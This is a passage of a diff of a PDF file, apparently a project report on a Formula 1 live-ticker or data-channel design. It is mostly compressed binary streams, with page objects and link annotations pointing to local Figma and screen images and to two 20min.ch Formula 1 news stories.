{#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{# F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`dd#{#FH {#F0Gbf#F0G=3F0G=쑘H<:Е=IF-۪lVLgby>ʼ.[i}_GGl~}O|:ʴ.iGbDH aĈ=#GbDH {$FdĈ=#GBd#1"{$FdĈ="#1"{$FdĈ`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FHL0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$d&{#F0Gb&F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑐`d#{#,{#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{#a#{#FH {#F0GBfG=`d#{$f`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$f=`d#{#13`d#{# F0G=쑘ɲG=`d#{$f=`d#{#13`d#{#a#{#FH {#F0Gbf#F0G=3F0G=쑘0G=`d̰G=`d#{$d&{#F0Gb&F0G=쑘0G=`d̰G=`d#{$f=2A/6vs{mNޥ 3?K_?~_W//~Ί/RJDB~ /}s6~|;zwӍpOz>|tϯmL&[\nXǽקׇsv>Ŵ8_/iڵq^[zF=9)@Io'{Ϸl;o18t:sHSS~vLq ҧ 8qgs&ͨFPR>Qϒ6qvug9FWX+NҎc~z^u)t;׫e9}(UۦS.Bx֩Ѷ|}jjۗC5!Wljչz+Ǹ6\>|]}wC ЦW@G?ysc(|;S|VW 6s,tF8ϳNژϴ'] }\Udd J֪%_\Wſ淿|eb^޷/-ֵ)OoLac_/9\@K'ꥆ{JtH]оbqiw\= ڨ^yNOmV.c!;t<y8-WF=ϑ^x1T\-~y-g"{}oFwWd?~}xb5?`tۛocȺ_oIޢ|cƽSMH6_]Aנw<мnK?Ep~ֺo[ zs.#^co_n9V endstream endobj -848 0 obj +847 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 847 0 R +/Contents 846 0 R /Resources 4 0 R -/Annots [ 849 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +848 0 obj +<< +/Filter /FlateDecode +/Length 4482 +>> +stream +xŝ]uEW̳ HC 0 #E +`ٻgx]!!^}N[oUm=G{ӟm_w_^ۭܽ~yrNjcjM/=鿟m4|ι[{n"?_?OF/ou4syWO/u/ao6kWy_9W_cۘʼyh09: E. +ЇދkN {/ynE1Yfy΍W][45i:{Iػ+]VtYĸ 1YrKl]9XػrPc_=b[ĸfQ5kVS5kFco `O!$F5/T\4Еjc57ԫkvx<4&1Y;<~D5OOVbTMjQ*r7%i$޻kn)@xl}撱s:ZI)t`Cr -wfO]9Xƨt]]1!45kDO׬"}麺Nh@c\sػr=w N&=r]=,vmc5MGrJ9ԁzA>M;gYm=") VHػsPV9z9tc1:1ޝ"w砢u4AM 0u 9X'K:&]Wsj6tuaA6pd) sP M9TuT=A{wjޝt]}85tOa8=TbSO :9W{ +9gޝYJy `֙,s0׉;zwzقu:}p C`Z{ww``)L`z2>:9} 9r{ +9Rާr0]w`ޫu{6p7 TԻr_sދkn{ +f-aޫkNx/i*uuuT57K{WEWAi`SJ_gP +nn{)ߚ9]߼/ձ6G7gտǑo^a=^}yb9#aGe9#aGH#GGHlGH#g$#r#g|GH#g$33 {䌄=rF9"0a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&#`0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`920a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&#`0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`920a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&#`0a0a&`&`93=L#=L#=rf.{G {G {\0a0aș`&`&3s#=L#=L#gG {G {Ge0a0a&`&`920a0aș`&`&3s#=L#=L#gG {G {Ge0;_g{\`zkVw?9{+~ԴAgO}Ov?Qjͳn?|xxW^~_W~_?o÷}*'v,} ǩ Ǚsv~f~}eST)SǦÔ*NL)0&9H:}~΋?~s݃ë/z\-}继V̷=k; +H8ýy}a*>l{̕ʏ7?+u:qozIͥGp/MK7tu/]N)n}.j|Qk9u׃Lw/gVg +endstream +endobj 849 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.485895 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/PosterV7.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 848 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 850 0 obj << /Filter /FlateDecode -/Length 1998 +/Length 3931 >> stream -xZK7 W9@@&")M(%J3{:=(c1qx ?>8ݗgpK=/;x)\0)h>LNx& -bF+]bs$̈`=__?^ӧvXh^!Ah͔ZNL44B߿1 {鞍r1ڊjgE:.  zCR2o -z2 9=~޽/?VhOpNoւxނxIr)Ro8kõ @8ľ̖33piUXIF\|umFau1Boy.:6uʦ,_k$9Թpi_t 1VlpLb"QhOHBC*,Qm9p^F<5d/b;Z - -S!1zLVzpLZh<[Y~Cd^=VB2%%gIaw6"1LxN'{#sp:!t~qϖ#w6|"m8oq: O1c^H?Y؜BS ItsSbSc<ĕgԴXE~c uOVh0xM'8*h5ୠ@ͳV)\娫t \ -((׹86)X SdE<@P%@eŨLGR댍Bq&(Om4x=?]$5uE*s^=)fOٻq\2E ;46qllu֘ut-t@ԍTAƢV`juP$"e_Q -hWv]e*zqML,ZjESV\=bk2CZa&Y!%VD`0Sam|KJ@ j -!CҖG-ʝUSUc`oPc#NLxJ:"( -^XE*gO;](,vb Wh, TQVK+kJlM XR9$t`Ҿmqҋf9_ICB}>,ĘRhPe_דLeL뇽a'!xGѣ;\wPe:IS*Fh3 -D ?xǘ{6tlw7o! ZUP0" \wAaPD_EAQ^S-w$Ϝ6BJr 8m҅/o\~ -F xr~{awq^15a]^"U/2.ZWTٜYfFk 3JHV Gh\}yc8'kthk0[!K")\!3I!h-cIĊpEƐ 9owhq$A1,n.cw3sYIqM{;yhGVk KGXGFc -IgOd -kؤԑ@]gjkjGg5_}餁$^GӈQzQ( d k(r%W'v~٨Ֆpi6 ԓK$S)^ {b~icӧmvr.u>sp Y^[Ulse#t" rժM%ì ->) - !d#GqύS~ [Kwa63a +x\MoW=B@;$7|Rv% dtOW b_K>kIryqkqmk]eh?r܎#L3S&L +Lb,.LLBtnR &R&k &k= LZYբHWR +EaB&J*ҕpCSzpp@CńI)7SZ&ţplϮHwMACp#MxI6;7l,*nzR&UljvJܝbĜJp'f` +lB")y1[0Wfre|.C"S-]r2ƂE$f.H]a"{"@6ČVHČ|`*K;/WRRV% =sʒ{!昛E!PE!f/Ua!f;/^%w(_ʭv H:% h_ʨw_B+1S-M#d|ш9☲!`;N +_P!*A"ȄS9w Q::/:bRu0`HdŅ/u0`lErZERE"%:.ܩ1vɝ:/{WFT/;u0IV\!uiUr" %w``O+b)_Pɝ:@ܩ0QR6s/9vA$iɝ:iA5(_PuND&SQv [ANn;u!|AD:*ɝ:hhŝ:hT6ČQ|ArKACQܡwH)i*Cc\hČjT"1GL 1#}ƫ…/"t06Le/"t\7q:ܡn3!fdŝ|-|3PHba̵G=rmE:&*_@c-+`9K13P1bхtJXz/,tɰKXr 1ޕ/ +1#+_TbF*QE+]eC̆F3I!t%F:GrK3f`{'fDމu0{l%8^DL*:jU+:W$`MqOALDĄP' &*j!QQMD %w + ɝ:VK:6a;uYr"XղzfBH&$ \r0ܩѲZWOALՎBܩ(%w`8YVqH \ 1ZWO`])$`0ܩMrz3^])$å*YIA_:D ꠇu1Vܩ,;uzR:h-=D4;u\ɝ:#j]=Q ^SCꠅ*SL4n:+0έSe`?eS`S➡1SN\V6eCQ%e'f. @\Q6̅ e j:''3:HjO!CA*KKʑ)ʆ)<&3!f xp 0WʎV6\i$l.CQȽ$x6s&djOpN^9^]#[ƂSQ{ +: +:j]=CC)Q "D3 Ž3fE{#պ:A s"f+;t0^$w 1 ^:HVjO!CQrĜމ9v^r:D Jq/AS0S(AAjOPQ!IA;u0 u0a"|QIAXHAHZW/A: BC)`lEr* +u0 u0"{(_P#*d!1&SQmuBdF) B!uND$S!j]P!1O: @Gc.ĩ)& #NɧAj}Nyz<9~9Z=F[|d'C,i~a6L/aB4$n]YdW,إMz7XZޯמˇv_'=8s^f=N(uNc9~汶|rQ8qq{5?0==6a9/7pz})n`9knC,-@ xzWO5x|-zhlk ~_ 6:Y#'8mHޛ >ǽۓu:o;kaz';^}:d9ܣ\)m} +CH-wyl}$nΆ5zFyIa,.k}go)v[5W64oϗu(Έ{sK +Y;zk9j|CUZ(e{y2rJ\H>m?v >n^` K+1lynʃC^zʙא:Xނ~<eM[> /APL:*;(W|E*4Cؚ>zھ8uF^N-pxsk|T6:߸ҌSW2xY%tR:O4%q013ߙt< {]30ũT|9dY!ː +Nete|>~n{%?;ۯ4vK/ܠ/gQ\*P Z3z~}s-~J,1:XĊƞQ1nM4#1vM_FĖpZ~mٟ O"8$k;pmU[.pp*,pYZ-?=|@^ endstream endobj 851 0 obj @@ -12732,7 +11855,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 850 0 R /Resources 4 0 R -/Annots [ 852 0 R 853 0 R 854 0 R 855 0 R ] +/Annots [ 852 0 R 853 0 R 854 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -12741,14 +11864,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 60.086457 464.623722 274.470734 449.609322 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV7.png) +/URI (https://www.20min.ch/fr/story/les-leaders-du-championnat-en-fond-de-grille-937035758708) >> >> endobj @@ -12756,14 +11879,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 37.466457 670.247622 ] +/Rect [ 60.086457 444.917322 296.699738 429.902922 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BordelFigma.png) +/URI (https://www.20min.ch/fr/story/singapour-sous-la-pluie-depart-repousse-432150037887) >> >> endobj @@ -12771,92 +11894,107 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 557.809134 383.721788 ] +/Rect [ 39.386457 420.518922 39.386457 405.504522 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BordelFigma.png) +/URI (./Images/Screens/ExampleLiveTicker.png) >> >> endobj 855 0 obj << +/Filter /FlateDecode +/Length 3887 +>> +stream +x\ю|߯g7& $H`!. {^#H#L].08RTj`yc#^~~Q ?K/o_Jc0轧>1%K9V/>ߏQa=)|i^_<~+nt/4ZS>^yhqR'0.~*o?;G^εޏ-8X)T>\4dV#u#?]兦WOq h9bbbJiItd71C92MZf5f&lɶ0[ +*=\i\B=9wN̩Ң@qL4Ƙl;:n֕##H5jmY}sUi3Ŕ+LD#Ȋl~2euJ "Ԫ j$JTIst)4k +2Fp0)K)(mh +3Ȳ87)K!pOIfxI'Mޥ,N, SRP)EzRxUttMA%pFv)K#ܲxj!3Vu^ǐ,dw) +,I1:i +,*[t/Vef2+jDI=I5@YB))oK +hLM) D %KsGefszqIAszLttQ%Ksdt2 9Ko:gp%Ks]ɒ/L:g)CS@[,tΒƐ9 jIi +,t Ǘ9s$3ΉWS@Dbj +蜙 /KYFS@Di +0 AFR:'Cf& R:g,t΄ +JBD})s9Q) 3(R:'ES@a:uLke,0) CfID:i +蜆,921"HY0|Mg5p2 ]5u:ePGPԢ2##)AI +8 +[%K1/ !)8c9K,IRN6Ah +2MoUʒ #)c/ISP.e)qWx)(\.ESdeT,p 3oQ  Ixi&e.,S23+[h +) `*,pNMĀ94p41,1KY pT咂 "pCq$R dͮ)sESD&̏ A "p$钂A(,tΚꐲ9"38(p:8#z9QCszsbr.)p:'&r霘 s;N=5tNP:'<_.;,{*э5tNsM+ ·9%> 9Qh +Ū\w:'r(5tNL4t̍P,t 3I̬{dgtΜ\w:g!7@Ι4t4LS@L9S$t}ef91q9gt΄ܔ9S.r nIi9WtNC ))sb>)sL) Ӡief9- ?T:q7]c +A|{2!(9dr916Rs=^8d VsNeڒ "p. K +s)s ΉUMA!p`8=_8mJ9sdA@?QA\x0J9CSD] LJnr呛F9i +$W1"Ȳp HsCRD6_᜹"WQ! #e G%)ǔKR [8k2уdt{g=SF>53731}N|~1{"(!I7k+^dg,> +endobj +857 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 383.721788 297.637795 371.318588 ] +/Rect [ 39.386457 771.023622 555.889134 428.240639 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BordelFigma.png) +/URI (./Images/Screens/ExampleLiveTicker.png) >> >> endobj -856 0 obj -<< -/Filter /FlateDecode -/Length 2374 ->> -stream -xَD=_CZ - x&"U]eN9YOt/l)O+H;`8r -rBDy3m%~OpM3Ep*cP̛܄b\fٍ-♸ش2) 0ȑBD`UrW0O %%%`99=^M P3Î=NA2\K@} :0vIM!%W׶86:~n|͘f<MD+R'![_WJȲ Oqh%{k -ŠIOF^I/-)FrMqatLպnԴ2͵y[[(My논- G္9?7BB@'~v59Ƥ}D{- :FX+s%(ipjCcߙ{9ݐ "+f +ޒUUvKOt$H@djd p- a"t/+ydq[R pXs׮P-)FOV x5={ݒ)serMu5&Ɯ- 6x CɵUl[Y% xnI R8zM7'c!\0q◿4dJX$ߪE1W򠶳d34b&U5]|M![%O'pa|nJR{H>Z?CI_hṰ7fDE#:GF"ڻw!/fʼn -endstream -endobj -857 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 856 0 R -/Resources 4 0 R -/Annots [ 858 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 858 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 260.554422 37.466457 248.151222 ] +/Rect [ 297.637795 428.240639 297.637795 413.226239 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV8.png) +/URI (./Images/Screens/ExampleLiveTicker.png) >> >> endobj 859 0 obj << /Filter /FlateDecode -/Length 379 +/Length 2111 >> stream -xRN1 );vb[PA T8Â8ZR0KgJ<'91eB`$Oibq3W -h. fd p -3j~ݥ9|uETLT -TfGPNo 0?LQomL+jҀM_UcuϋGak> ng߱ٝ\#Rfg/ÅeǺӂ5&Ҥzגف}H-BcP1+ ְIP膑c}{"O72!&-Bh}{#e ŏyn2v(5&% hԍjcb(#!a +xZK7 WhI ER=xg\I?P(Qd{f#iHg`Os +s߾8iEw߇Ϸz-{Ŕsނc\0(%JJn?>rn4xt\ww +2g1 lt$!wö wTWALrC31cƄe&.vdqP53<t~9 j +[f2kcN8~{@"R?>q.€ aB Uve2p +cƁ܏|Lח14jV螊lY)x{W@Z2$YU3ޛey<^e,zC J]jskvj-.D75*plbT t6eoŷ FxQ>G]tQH@:uVϴӦ5Ǜ+wm@ h %RL9܀.^ FI6(MwfP,*yd[4z(;uјFY8SQgB ]d {DAE&[5=w[sF"醪q(d4FI0@7PEq=EL{Z AFm/Rg`JtCb5:ڀ! P+bJ ]%!)i\# Fq x21-YuO*W\c5EH?XC%P9vA39pW3dZq* +lqnX#Jg`9csR,5Q%Y,z( 16g2/. uS +t<lV8[Ppk1uђE%O VJC%p|<)XtW6ٺ̴5j HL+KRj"R r´}bTR$y4;tf!ڐ:84\Um4 Oz''=C/%% xDn+{⏬Y*"k/b(+u/k30<;N%Gq5 јⴺ3F]YeZM3j®XC3% 9Y)NA fﱼJ>K ` 3 0xc:P>!"o4T=QRWc F]*OsU=QQZ=[W :֡7BX ̈WCiH -bk-Pd;ʾԠw?|t'%;hZ'cB!gA/f>ff`INcV >/g^hJ=fr#g7H<;X̝x+<]suiEO%dfژ+k|#oCDAϕ̰L*Í G+1d8;5Mr(A^+.h XQwMIZfؘ-N-==tkdRAg!k҉gDjB{Z8ȀMgd]n:(`gi,eiYvS(W@o"iԵMd g4<+4c2i/|NMpoNPXf%%[/4#Fȉ֕Dj{4gH5m|VTHU$[2y*ഴW@"J詝preU/kC`HAKP="yLc*څMA[6qYsGFDXj"a%s%hɦj&i4~ &?#Nk`Ӷ\<9kێ9lHFG d|p+oEjV7 /ξo8컞˳::/ξ<=fřM|MiA_S^Gr+3eu@*3~9@f> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV8.png) +/URI (./Images/Screens/Formula1DataChannel.png) >> >> endobj 862 0 obj << /Filter /FlateDecode -/Length 497 +/Length 1629 >> stream -xTMo1c[r@CRiHC%4Xǻ^{#w[ԬOB>'".^=5RTxf -1$1Rv/?˯}&%;|%Y;k/͞= z:Cz.<Ī$UiowŤ| ~n -UE!! PE10NP ji5U">Xd%z8. }$~6!-Q\Ėc<+ ?}q'<#Gq{ǰg.i1/뵮4:s5.mc~E6L_WQQ_#TuΩ0]8 0:1XTx:?^(GQZVl7'@ʯBh!Ȅp?jM^c-v I¿`=Rv!-Z]η圮p +xYn6WV\A$$@Z9$LI"Em{ܐ[-Z(w"sZ05zZ|pf4n +ǗzL^3p~1!TR RN_/]+f9NBH@x S||0 Ƨ] hU?tBs$T9 x +Im1&&c2Oүj9'Vv~7)9+Y5Xc%x\yp=Dut$/?qQ[^x',!9e]Xc<1-Fdp4sM8n±n;.{7NLmUQ8,ת,q̾Ou9zM-,oqhT'8ǵko|Dp,("O䵁Y|Mumt/>̾ +qk^ T5,CVbSjYU6NFuNsf"Z֥љ0y=1&FDatpE_|8oB<'<1JV@Qdwpg&ڳH:bTΩHs&=c;⤵&ijڙrə GM޲sj3fɁfE20I4p':P#0%(i E>[WsADHC (R,U)dTq6֠udА/Fy5"ͥ>eň7mDiqG#MuӼVC#d*0'փ,I6&v))XہTF!1x*tRp$:,ݓSQΕZP(@F/)h'eٚ }줔j^6}:KM?`HQO;XEN1UZQL^1/sN/n;b"iiH_ܟK{&P\aPj:kCA:jX8sm5bٝ a5 8$,%Z[ZhF|L'}=q.\jd0  +i7-FA,ϣTa+R}y+[5>D8)n,4/`'Esǔm߅ځCeg.<ɏ6F3O^䫁K6_E03qXΙJ}@MA|k`Axlov-k̓!5o.bMCI&kTH_߇&rTnI#=;S%};F=;=(2GtDNV]a10&nJMmd$?>.ˆ3oD1.x3,g*iIUBUhIpX@GF&٢p"A Dւ fq (P1sbkbAIdV>4(`O endstream endobj 863 0 obj @@ -12913,14 +12053,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 39.386457 771.023622 555.889134 481.028890 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV8.png) +/URI (./Images/Screens/Formula1DataChannel.png) >> >> endobj @@ -12928,27 +12068,28 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 702.806022 37.466457 690.402822 ] +/Rect [ 297.637795 481.028890 297.637795 466.014490 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV9.png) +/URI (./Images/Screens/Formula1DataChannel.png) >> >> endobj 866 0 obj << /Filter /FlateDecode -/Length 375 +/Length 1404 >> stream -xRN0 )dvرv@apA* q~K8Y7:q6?z09C{P -_ lMsߙn] W -T -% BLfL)dJ V/HcȨ\r@_eq͇[[}/! zC`-53n|yw48 ʟ\T61 ybO,g +xYM6 WF',P=l{Y`(zp2Eb(%K6%Bd8H=2^3kI᭤4~LN{Uz(tRka޺߻xZx)=@)a!8qK4M׈!A?tPqVH_vO|!SѕSG)ux@N#)5}m1%|ϗq. {8Կ[l<>;LX0DZqf*f["ulIe&!A"2O^֩)mY J"$ ٹ9+ +-oMySZ +v +Ye023Qm@LƓG, 7_Ÿ浵Pz7O9۬)A&:7GF%Vή*Je,J{\XyJ,kW+πNy{ f]Pؐƺޔy>o8S.7;+%0uClL*Zej;+UĶjMkOhnw<xcn FVK6hzUs"KE2LUl[2ɩ:-_ig$&XaLpk_Z'ˠޢs" mYo,T9^lJp|1U>~z;7F> @@ -12967,151 +12108,187 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 35.485895 ] +/Rect [ 39.386457 432.261222 39.386457 417.246822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV9.png) +/URI (./Images/Figma/Prototype.png) >> >> endobj 869 0 obj << -/Filter /FlateDecode -/Length 385 ->> -stream -xN1 y@;#@ji**U]%Nͅ]E2$/gBrn%QF(d^A{I{nk0SEJSn4{Dk-EG}}Jgw\(?K8h9jه -BbJHkf"Ҙ5O_hezL1ß<]B* JK rP¸U4j@?Hu">%iH424أLt=7*d`ecbBeUNuQCqtݾ{;!O -1AȂGA(B]:C:}@뭘/s$mx{ j/ v~p?_^G=~z 7o -endstream -endobj -870 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 869 0 R -/Resources 4 0 R -/Annots [ 871 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj -871 0 obj -<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 771.023622 297.637795 758.620422 ] +/Rect [ 39.386457 432.261222 555.889134 141.728466 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/PosterV9.png) +/URI (./Images/Figma/Prototype.png) >> >> endobj +870 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 141.728466 297.637795 126.714066 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/Prototype.png) +>> +>> +endobj +871 0 obj +<< +/Filter /FlateDecode +/Length 3911 +>> +stream +x\]o$|ׯsd 8HC \`A/q;H.gvΖ!wН43nv5]G:՞c-'o-XCBp1){JV÷~VCqʡix=~W tih9[!Q36)o{JkS3XTgl` GOΞ\vtaaxazyM#s@a)4aR`R ¤$I1*L׏MzNQ\0\Ek(-WK„p@%TJ)ҍpC"pńI)Ҙޛ)`RbAQbF1!lBrwHnXRr뮈k,B^EPaSsa@eMɒ{`ErE$B TEk Ȳ-T=5=se̘b.'`KicQ"3JE"fAs +sb oX81|X80LB=siIryy (Y{&fϒ{!攛E!XE!PBV%w^%w(VlbIq9^j!l1FɲC +`&S(@걊5U,(,;UYq 2U,pPAy\qAYqALAD,"u0G`jErZ]"RSM"RQH %w`J]rf ` +XPŝ:$w`d `tXPcA!ueUr" %w` 1T,NDIhX()`=g V]!uEZrB|u0U,u ND&Sѐv `T,P ɝ:h$w57 0CMł:rUR>;uАъ;uT6ČYbArKACQܡwH)iX*Cc\dČnT"1', 1Ǫ|&T=bF H԰HA,r(`S$w lLrB-XDbΘʆQ]w$DPgDXX$b6n +`=I{-IA6I/ZV6\sܝ2PܝS1LpE&PLV%w`*V `r'X@ aܡ.bU, +1XTbF*E+ʆ ݍf,]!t-L&:'vK3V`{'fdމu0U,JRyH^wzSVAtA,wbAvӝ::Cp quA (SIARw` 0cJALfɝ:dUNaSaN:ܩhL$w`՝::Qp _ɝ:^rF*`bAeEsGHN}uFLLrn;u04SN 53T!u++ɝ:WվS2Qł:bRg +N X +ATɝ:hվSeuACSʕܩPł:huPTR-Vɝ:*gY)v* MM{Ծzb=lL!bf!f(bN,)beCܘP6ܰVܡqAlq1#l Wg +:RYrO,)'bx+b'fMeC̘%\+lH@!]rgImLLnLpI^9ɽsj_6ՙBFG)d`,hw '} $6JJX)cVX.ME#f+;t0^$w ձ ^:HVL!C#Qr]rĜW/FP9BD!W u |0:S(A4ALP!IA4;usR:XX F;u;uҭ uNł:Pg +:ZܩʳBL}BL*YېSܩ6Ծzb1 +ur:FSrܩx^uP(;u^r"Yվz"LPa +u+S#*A0W:ZVg +:jܩPܩ*bA XɪXPC;u0 \;um|.1cbAޣC꠵.SNjj_P:SAAqAW 2j_R!S-$uPfIq{ܡ7W:zuu0 R)AArEH̩39T=ɳ +զ1lZSg +:Z;t04:ȷ} Ixa@'+Ο_/*#?qQT,ه?<|}| }||}PS35+<~|T<:֣x>:ރ֎f/G~!ytxិx-+q̒9 h\_~c`!J..`oU YZ~?gF|s]m{.,?mWq%ڄ^[CjaOF|ϯL·س stR@ݗ<5;}Bh@O9kL,JW콂C/lg!a/Q~@V/=__?Sv:>8sn#zR! ]@}yiI|6)vD.NmW%~N5ig/mcKvy-5Ctˀ4$g08vJr 84~Z4猙~{5:oB_LټBs֮Yǯlܕ뵈I尐&C6C-;o"ZF7P6笑H}yGa[+SGi뼙2/V=^qi~2Vy\}__.gY0I`ff!džE?m5y{)_d5Us 82ny7/K1\֣r}m;]|D,BnaQ~M'V>A>xlAs={+۱yYj-=txk 3h_xEX\{Tg+}&\ 8{=_k٧['m$-]!iWnRuy~Sy ݠiM-&皧ڎM vm#/+puf m£%. ٕ9({g1Ŀ[&Z'j7+1mL;s~hgX#!ݷ}}s߯D2~JJnԽ ΟKs=>>6s|ri1H]2qC V ~iL)W gG"K>~Wv%ZJw~o>vo>{ iA_7j^kߌ𥄩R} Soc7s9l߬ӟsX$Tlg *BɆo ^ڙ +endstream +endobj 872 0 obj << -/Filter /FlateDecode -/Length 2530 +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 871 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> -stream -xnu?_1exH0Mh -IQt=|IFdEmȞ_$gɿ IA('|IGE0΁g'ܨ@/O9 )@)0ןO_?{ze@ KDPgNbN I'T?~hVs6f>p-3^Y8!HasB-Uc*Gcd}NeqW#()U˃u5V& )nh#"13Uq~to?}sV2_`><E$YsVH=Rsd0e|tpx`_hq_g4'툳TaB󵄦(HAsg?c6pNLO[f@H=rgք0DҰm"5!# "hh3Q9 q^l{Md̠A -Bӥ򿬅sL9b߂B[sܵJeS6lZѾ}"ր6n0ڐf`Q(BmP%9"Ji6JDqqanȥ(&,X惴w!Kq>MwC keL Ps) -={z mѩV^fkh2.#u=uE-e?g*g\Hs4ާdHz#)02KdE1(^ԛ=+U޵{ 5*C͘Hc6\#4BgU˘^پ;02vS%?uYc̀z=Zd_xDK+uP+#UnF=nCN멏n=ݨUPEU8髆ׂMoBxi2xH1Ep 0HY3%B2q$!獴;\3~SngG7|6M JA<oRF49HJh}# 9&1-!GI/bN -/}WUiS멌BRG!IƒS7tjWnzm{@Ng׶&6 וK EDx[t`,.'Kyw.x'4յŲEKJGzrjR6zNUeaur0Ʈp?$A;hzq0h+KZGcNKn/Y -kdKkzNy5s0 ކZv.WsCȔw~/셎?;hy"rviN C;і‹)jKl>\cRCB׆ >Օ=-Z ޜ ك -b!(֓:9A55=}3/T\ -endstream endobj 873 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 872 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 3659 >> +stream +x\n$+t6q,H`! ⃝C l`AZ%`=Mچ J5ңNhÏvjX~XnJbq{O}j3]r^=egy}͕WbTb@̶Opٓ7;-lglN7 w =_/2]a8ݳsxI]4Ғ00n~l &= ڨ% ^ +htH[ +„p=\ "" 7k#t6~n&LMLƴM.02LZ*"&EzgEznU b"(IE!acEN}"y(:&ja@eM{bMrOE$R"ҺEĜdBrl]rlST, +0G ɽs!eB(]*=%N%IN93bČb0  +̭ U,xޚW HcZHJK*s*S -$w;kbX@GR!~#1S-M'fbщXUyH$w* ;ŝH=VBTEQq +r2+A&u":?"3uЋ+:*:蘉":֒EL,I":XZtLDI"3u.ܩ ɝ:ZU,%bA,^w`1ܩU,ҭbȂC ʪNDJLO+b.XPɝ:DܩٰPR6F*AC Nt `U, u ND&Sѐ `QT,P ɝ:h$wu7 0CMł:rXUR>;uАъ;u +T6ČYbArKACQܡe HiX*E!܉cbČnTĢ1, 1PQaBq/QE, +tt,eD, +t\47:ܡn*+&!fTŝ|$ɽ3YŢ3V*۪cɽpo:֦XF尲Urwb@qwb.T,*1Å*S*+1[HFt`U,ltpH1*QU,{3h=9al(`ƒUBbKRHAľ tT[ʆS1#AT,5աbA֊Cꠏ;u{(NAt^A,wbAvӝ::Cp quA (SIARw`Y 0cJALfɝ:dUNaSaN:ܩhL$w`՝::Qp _ɝ:^rf*`΀bA̐eEsGHNi}ufLLra;u0uSNLԙSB:N]LT\ԙSÊ;uErpAU)8u)Ar%wꠡ=TbA4;A!SQJ4:+|ʃGa?e`CqAؘWAM)DV6eCE%D 6l;Պ;t0w. 0w.f trLBAJ]%BoeCa̢l^ɪl9heA#a:F%! +1^+13O%F9ISRꨖ*t0=LBsCC=EW`n}ut5AX1 R܃*R;1ձ\ N$w`IA4 ձ 